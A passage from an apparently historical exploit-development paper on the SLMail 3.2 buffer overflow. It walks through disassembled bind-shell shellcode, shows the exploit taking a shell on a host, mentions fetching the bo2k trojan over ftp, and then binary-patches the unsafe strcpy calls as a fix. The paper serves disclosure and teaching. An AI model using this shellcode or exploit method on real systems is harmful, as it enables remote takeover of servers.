04 :00000226 50 push eax :00000227 C1E804 shr eax, 04 :0000022A 50 push eax :0000022B FF57D4 call [edi-2C] :0000022E 8BF0 mov esi, eax Here we create a 1024 byte buffer with GlobalAlloc, pushing GMEM_FIXED+GMEM_ZEROINIT which will return a handle that we place in esi. :00000230 33C0 xor eax, eax :00000232 8BC8 mov ecx, eax :00000234 B504 mov ch, 04 :00000236 50 push eax :00000237 50 push eax :00000238 57 push edi :00000239 51 push ecx :0000023A 50 push eax :0000023B FF77A8 push [edi-58] :0000023E FF57D0 call [edi-30] :00000241 833F01 cmp dword ptr [edi], 00000001 :00000244 7C22 jl 00000268 Now we start to get to the guts, this makes a call to PeekNamedPipe to see if we have any data in the read end of the pipe (StdOutput/StdError), if not we skip the following readfile/send functions as we are waiting on input from the user. edi stores the number of bytes read, [edi-58] is the handle to the read end of the pipe. :00000246 33C0 xor eax, eax :00000248 50 push eax :00000249 57 push edi :0000024A FF37 push dword ptr [edi] :0000024C 56 push esi :0000024D FF77A8 push [edi-58] :00000250 FF57DC call [edi-24] :00000253 0BC0 or eax, eax :00000255 742F je 00000286 We call ReadFile and fill our created buffer with the data from the read-end of the pipe, we push the bytesread parameter from our earlier call to PeekNamedPipe. If the function fails, i.e.: the command prompt was exited - then we jump to the end of our shellcode and call ExitProcess, which will kill the slmail process. :00000257 33C0 xor eax, eax :00000259 50 push eax :0000025A FF37 push dword ptr [edi] :0000025C 56 push esi :0000025D 53 push ebx :0000025E FF57F8 call [edi-08] Now we call send to fire the data from our buffer off to the connected user. :00000261 6A50 push 00000050 :00000263 FF57E0 call [edi-20] :00000266 EBC8 jmp 00000230 Call Sleep and jump back to PeekNamedPipe. :00000268 33C0 xor eax, eax :0000026A 50 push eax :0000026B B404 mov ah, 04 :0000026D 50 push eax :0000026E 56 push esi :0000026F 53 push ebx :00000270 FF57FC call [edi-04] This is the point we get to if there was no data in the read pipe, so we call recv and receive input from the user. :00000273 57 push edi :00000274 33C9 xor ecx, ecx :00000276 51 push ecx :00000277 50 push eax :00000278 56 push esi :00000279 FF77AC push [edi-54] :0000027C FF57D8 call [edi-28] We push the handle of the write end of our pipe (StdInput), and we call WriteFile sending the buffer from the user. i.e.: we make it happen. :0000027F 6A50 push 00000050 :00000281 FF57E0 call [edi-20] :00000284 EBAA jmp 00000230 Call Sleep again and jump back to PeekNamedPipe. :00000286 50 push eax :00000287 FF57E4 call [edi-1C] :0000028A 90 nop The shell has been exited so we call ExitProcess to clean up our mess. And there we have it, full control is at our fingertips. Before we enter the last section, on modifying the executable of our target, I'll give a quick example of the exploit in action. Ownership. ~~~~~~~~~~ E:\exploits>slxploit supermax.gen.nz 8376 1234 SLMail (3.2.3113) remote. by Barnaby Jack AKA dark spyrit <dspyrit@beavuh.org> usage: slxploit <host> <port> <port to bind shell> e.g. - slxploit host.com 27 1234 waiting for response.... 220 supermax.gen.nz Smtp Server SLMail v3.2 Ready ESMTP spoken here sent.. spawn connection now. Trying 192.168.10.3... Connected to supermax.gen.nz. Escape character is '^]'. Microsoft(R) Windows NT(TM) (C) Copyright 1985-1996 Microsoft Corp. E:\Program Files\SLmail\SYSTEM> E:\Program Files\SLmail\SYSTEM>at The service has not been started. E:\Program Files\SLmail\SYSTEM>net start schedule The Schedule service is starting. The Schedule service was started successfully. E:\Program Files\SLmail\SYSTEM>time The current time is: 23:49:36.36 Enter the new time: E:\Program Files\SLmail\SYSTEM>at 23:51:00 net start slmail Added a new job with job ID = 0 E:\Program Files\SLmail\SYSTEM>net view Server Name Remark ------------------------------------------------------------------------------- \\SUPERMAX The command completed successfully. E:\Program Files\SLmail\SYSTEM>net send supermax beavuh 99. The message was successfully sent to SUPERMAX. E:\Program Files\SLmail\SYSTEM>exit exit Connection closed by foreign host. Plenty of options, you could also create a file with ftp commands, to download bo2k for example, and use NT's console ftp. e.g. ftp -s:file host. Section 3: The Remedy. ~~~~~~~~~~~~~~~~~~~~~~ This is perhaps the most important section of the paper, and is not just useful for preventing vulnerabilities - the ability to add your own code leaves open an endless amount of possibilities as you can imagine. I advise that you have a look at some documentation on the PE file format, Matt Peitreks book "Windows 95 System Programming Secrets" has an excellent section, otherwise take a look at http://msdn.microsoft.com/library/specs/msdn_pecoff.htm for Microsoft's documentation. Consider this hypothetical situation for a minute: A huge hole is found rendering most NT servers on the internet vulnerable to remote system access. Microsoft stumbles around for a week or so before releasing a suitable patch, while during this time some of the largest corporations have little to do but pray they won't fall victim to an attack, or make the change to alternative software. Hey, that happened a couple of months ago! :) But there is an alternative, patch the software yourself. There are 3 main approaches we can take to add our own code. 1, Add our code to unused space in a section. 2, Increase the size of the last section. 3, Add a new section. The first is the technique we will use, to see an example of the second approach have a look at my trojan netstat which will be available at http://www.rootkit.com in the near future. Adding your own section - at least as far as what we are doing, won't normally be needed, so I won't cover the techniques in this document. Now we need to think about the code we will add, here's a few options: Add our own string length routine, and print out an error message depending on the length.. then skip the nasty functions. Add our own string length routine, and place a null at the beginning of the buffer depending on the length, so effectively the program thinks there was no input and will return a standard 'syntax error' message. Replace the offending strcpy function with a bounds checking version - i.e.: do what they should have done in the first place. I think it's obvious the approach we will take, the first option would be too involved, the second just isn't delicate - so we'll go with the last. It just so happens that in this case lstrcpynA is in our targets import table (if this wasn't the case? we would use the same techniques as shown in the shellcode - using the LoadLibrary and GetProcAddress procedures). Grab PE Dump or dumpbin, whatever you have on you.. and dump the section table for slmail.exe, if you haven't worked with the PE header before I'll explain a little as we go. Section Table 01 .text VirtSize: 0003F99B VirtAddr: 00001000 raw data offs: 00001000 raw data size: 00040000 relocation offs: 00000000 relocations: 00000000 line # offs: 00000000 line #'s: 00000000 characteristics: 60000020 CODE MEM_EXECUTE MEM_READ The section we will be working with is the .text section - where the code is located. We can see here that the Virtual Size (the actual size of the code) is somewhat smaller than the raw data size (the amount of space that is actually taken up). So if we subtract the Virtual Size from the raw data size : 0x40000 - 0x3f99b = 0x665 That gives us about 1.6k to play with, easily enough space for what we want to do. Why do we have this extra space? Because compilers usually round up the size to align the section, which is handy for us :) Fire up your hex editor, and jump to the address 0x4099b (virtual size + raw data offset) and you'll notice we have a ton of null bytes, about 1.6k worth in fact. This is a perfect place to dump our code - but before we do.. We need to increase the Virtual Size to allow for our code, we may as well increase it to the largest available size, it won't hurt. We also need to modify the flags, as you saw from the dump the .text section is defined code, readable and executable. The values are as follows: IMAGE_SCN_CNT_CODE equ 000000020h IMAGE_SCN_MEM_EXECUTE equ 020000000h IMAGE_SCN_MEM_READ equ 040000000h To get the final value we OR each of the flags, which results in 060000020h. But, if we wish to write data to our code space, to avoid page faults we also need to make the section writeable - we may not have the need, but it doesn't hurt to change the flags anyway. IMAGE_SCN_MEM_WRITE equ 080000000h So we OR this value with 060000020h and we get 0E0000020h. This is the new value we will add to the exe. Jump back into the hex editor and we'll make these changes permanent, to find the Virtual Size value for the .text section, simply do a search for .text and the following value is the culprit. 000001D0 00 00 00 00 00 00 00 00-2E 74 65 78 74 00 00 00 .........text... 000001E0 9B F9 03 00 <==== .... To set this to the maximum allowed value we just replace with the raw data size: 000001E0 00 00 04 00 And, we also make the change to the flags. 000001D0 00 00 00 00 00 00 00 00-2E 74 65 78 74 00 00 00 .........text... 000001E0 9B F9 03 00 00 10 00 00-00 00 04 00 00 10 00 00 ................ 000001F0 00 00 00 00 00 00 00 00-00 00 00 00 20 00 00 60 <===== We replace with our new value that allows us to write to the code space: 000001F0 00 00 00 00 00 00 00 00-00 00 00 00 20 00 00 E0 We'll quickly verify our changes with PE Dump, then we can actually get to what we're here for, getting our code executing. Section Table 01 .text VirtSize: 00040000 VirtAddr: 00001000 raw data offs: 00001000 raw data size: 00040000 relocation offs: 00000000 relocations: 00000000 line # offs: 00000000 line #'s: 00000000 characteristics: E0000020 CODE MEM_EXECUTE MEM_READ MEM_WRITE And there we have it, our virtual size equals the raw data size, and we now also have the writeable flag. What we need to do now, is find a location to jump to our own code. 004364AE push edi 004364AF push eax ; we jump here. 004364B0 push esi 004364B1 call ds:lstrcpyA We'll get rid of the strcpy call, and make a jump to our code at the 'push eax'. We know our code resides at RVA (relative virtual address) 0x4099b so we make our jump. We can assemble our jumps in tasm: jmp $+(04099bh-0364afh) (RVA of our code - RVA of current location) Or, we can do it straight from the debugger. Let's make it perm.. the code follows: :004364AA 8B742478 mov esi, dword ptr [esp+78] :004364AE 57 push edi :004364AF E9E7A40000 jmp 0044099B ;jump to our code * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:004409A9(U) | :004364B4 59 pop ecx ;restore ecx on return :004364B5 90 nop :004364B6 90 nop * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:004364AF(U) | :0044099B 51 push ecx ;preserve ecx :0044099C 52 push edx ;preserve edx :0044099D E800000000 call 004409A2 * Referenced by a CALL at Address: |:0044099D | :004409A2 5A pop edx ;get eip :004409A3 81EAA2090400 sub edx, 000409A2 ;get image base :004409A9 81C264110400 add edx, 00041164 ;point to strcpyn :004409AF 33C9 xor ecx, ecx :004409B1 B160 mov cl, 60 ;allow 96 bytes :004409B3 51 push ecx :004409B4 50 push eax ;our input :004409B5 56 push esi ;buffer :004409B6 FF12 call dword ptr [edx] ;call strcpyn :004409B8 5A pop edx ;restore edx :004409B9 E9F65AFFFF jmp 004364B4 ;back to proggie. Yeah, I know, W32Dasm - but hey, its fast and easy for showing code dumps :) The stack pointer is basically kept in tact, so we don't need to worry about screwing with it. Now, this should have solved our problem - let's check. 220 supermax.gen.nz Smtp Server SLMail v3.2 Ready ESMTP spoken here expn <10 or so lines of x's> Connection closed by foreign host. Whoops, the slmail process dies. Guess what? there's another overflow. This software is shocking, widely used shocking software might I add. Well, let us fix this one also. A couple of rets, and we quickly find the offending code: 00404bb1 mov esi, eax 00404bb3 push edi 00404bb4 push ecx 00404bb5 call [KERNEL32!lstrcpy] edi contains our input, ecx the buffer. Here we go again. We'll put our code directly after our earlier modifications (0x409be), and we'll kill this strcpy call and jump to our code at 'push edi'. :00404BB1 8BF0 mov esi, eax :00404BB3 E906BE0300 jmp 004409BE ;jump to our code * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:004409E0(U) | :00404BB8 90 nop :00404BB9 90 nop :00404BBA 90 nop * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:00404BB3(U) | :004409BE 90 nop :004409BF 52 push edx ;preserve edx :004409C0 E800000000 call 004409C5 * Referenced by a CALL at Address: |:004409C0 | :004409C5 5A pop edx ;get eip :004409C6 81EAC5090400 sub edx, 000409C5 ;get image base :004409CC 81C264110400 add edx, 00041164 ;address for strcpyn :004409D2 33C0 xor eax, eax :004409D4 B060 mov al, 60 ;allow 96 byes :004409D6 50 push eax :004409D7 57 push edi ;input :004409D8 51 push ecx ;buffer :004409D9 FF12 call dword ptr [edx] ;call strcpyn :004409DB 5A pop edx ;restore edx :004409DC C6476000 mov [edi+60], 00 ;cut the goddamn ;input short, ;incase there is ;even more overflows :004409E0 E9D341FCFF jmp 00404BB8 ;return to the prog. This time... 220 supermax.gen.nz Smtp Server SLMail v3.2 Ready ESMTP spoken here expn xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxx 550 Unable to find list 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'. quit 221 supermax.gen.nz Service Closing Connection closed by foreign host. And so it was done, 15 minutes work and we've fixed a terribly serious hole. No source? no problem. The binary for this quick patch will be available at http://www.beavuh.org, although, a vendor patch is seriously recommended. This will prevent break-ins from the exploit that accompanies this paper, but there are far too many exploitable holes in this software - and no doubt after reading this other exploits are in the works. Conclusion. ~~~~~~~~~~~ Windows 9x/NT has a had a relatively easy ride as far as buffer overflows go - a change is coming. Although some "big" software has been affected as of late, the limitations of the payload and the system dependency limited the wide-scale fear. It's time to recognize. The fact that I picked on 3rd party software for this article, rather than hitting the giant itself, is not because of lack of opportunities - trust me, there is a lot hiding behind the bloat. Navigate the code, work those registers, and you'll come up trumps - guaranteed. Fight those who try to outlaw our methods, support the open source movement, and support full disclosure - it is a good thing. "One future. Two choices. Oppose them or let them destroy us." -Propagandhi. Greets and thanks. ~~~~~~~~~~~~~~~~~~ neophyte, Greg Hoglund, c33, sacX, tree, casper, ripper, ryan, luny, sycotic, blitz, marc, Interrupt, ambient empire, DilDog, the beavuh & mulysa crew, the eEye team, the rootkit crew, attrition, w00w00, L0pht, ADM, Phrack, Security Focus, technotronic, HNN, Packet Storm Security.. and everyone else I forgot. The Code. ~~~~~~~~~ The assembler source code follows, and the shellcode for the exploit in c format if anyone wishes to port.